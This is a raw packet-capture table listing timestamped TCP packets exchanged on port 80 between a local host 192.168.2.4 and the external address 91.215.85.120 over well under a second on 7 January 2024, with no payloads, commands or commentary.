Jan 7, 2024 05:29:31.983277082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983277082 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.983318090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.983340979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983354092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983409882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.983465910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983503103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.983520985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983534098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983562946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.983577013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.983603954 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.984229088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.984275103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.984283924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.984294891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.984325886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.984338999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.985712051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.985761881 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.985773087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.985815048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.985939026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.985960960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.985982895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986006021 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986136913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986193895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986236095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986279011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986474991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986512899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986515999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986550093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986788988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986834049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.986835003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.986871004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.987360954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.987376928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.987411022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.987422943 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.987735033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.987762928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.987798929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.988250017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.988293886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.988300085 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.988349915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.988910913 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.988959074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.988986969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.989027977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.989049911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:31.989062071 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:31.989098072 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.054450035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.054507017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.054508924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.054538965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.054558992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.054584980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.055241108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.055289030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.055304050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.055346966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.055389881 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.056354046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.167418003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.167480946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.167490959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.167582035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.168112993 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.168170929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.168226004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.168351889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.169950962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.170011997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.170121908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.170165062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.170180082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.170223951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.170305967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.170351982 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.173624992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.173683882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.173696041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.173737049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.173815012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.173873901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.173913956 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174019098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174032927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174062967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174181938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174227953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174264908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174328089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174370050 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174396038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174457073 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.174472094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174493074 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.174968958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.175041914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.175088882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.176227093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.176279068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.176378012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.176424026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.176486969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.176538944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.176927090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.176975965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177145004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177198887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177359104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177412033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177422047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177469969 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177555084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177598000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177705050 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177742004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177789927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177824974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.177860975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.177934885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.178201914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178260088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.178281069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178493977 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.178592920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178663015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.178778887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178886890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178925991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.178936958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.178977966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.180712938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.180782080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.181545973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.181600094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.181953907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.182005882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.182383060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.182441950 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.182486057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.182523012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.182595968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.182626009 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.182641029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.182704926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.183060884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.183109045 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.183168888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.183221102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.183535099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.183779955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.183825970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.184781075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.184828997 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.184942961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.184979916 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.184990883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.185070992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.249558926 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.249630928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.249717951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.249766111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.250087023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.250154972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.250195980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.250240088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.361737013 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.361810923 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.361879110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.361958027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.362344027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.362395048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.363862991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.363903999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.364033937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.364068985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368045092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368113041 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368123055 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368166924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368379116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368423939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368472099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368515968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368591070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368634939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368675947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368715048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368750095 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368818998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.368897915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.368995905 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.369010925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.369072914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.369108915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.369123936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.369394064 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.369462013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.369527102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.369576931 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.369612932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.369680882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.370940924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371017933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371033907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371103048 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371129990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371206045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371237040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371289015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371351004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371395111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371438026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371505022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371546030 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371655941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371781111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371784925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371889114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.371922016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371933937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.371999025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.372127056 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.372134924 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.372179031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.372596979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.372647047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.372808933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.372905016 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.373138905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.373184919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.373265982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.373312950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.373343945 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.373394012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.373429060 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.373578072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.373611927 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.373632908 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.375205994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.375266075 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.376256943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.376563072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.376643896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.377407074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.377465010 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.377517939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.377710104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.377794027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.377837896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.377955914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.378005981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.378041029 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.378129959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.378170013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.378669024 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.378799915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.378870964 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.379215956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.379271984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.379452944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.379489899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.443645000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.443715096 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.443917036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.445085049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.445139885 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.445204973 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.445317984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.445395947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.445411921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.556358099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.556423903 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.556436062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.556662083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.557645082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.557694912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.557866096 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.557909012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.561734915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.561810017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.561917067 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.561964035 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.562076092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562128067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.562199116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562321901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562403917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562503099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562534094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.562546968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.562797070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.562973022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.563026905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.563067913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.563292980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.563361883 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.563844919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.565000057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.565076113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.565079927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.565138102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.565207005 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.565291882 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.566082001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.566147089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.566174984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.566235065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.566293955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.566345930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.566514015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.566747904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.566819906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.566894054 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.567014933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.567069054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.567110062 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.567383051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.567435026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.567531109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.567584991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.570735931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.570785046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.571295023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.571340084 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.571396112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.571554899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.571588039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.571594954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:32.571619987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:32.571640015 CET	49735	80	192.168.2.4	91.215.85.120
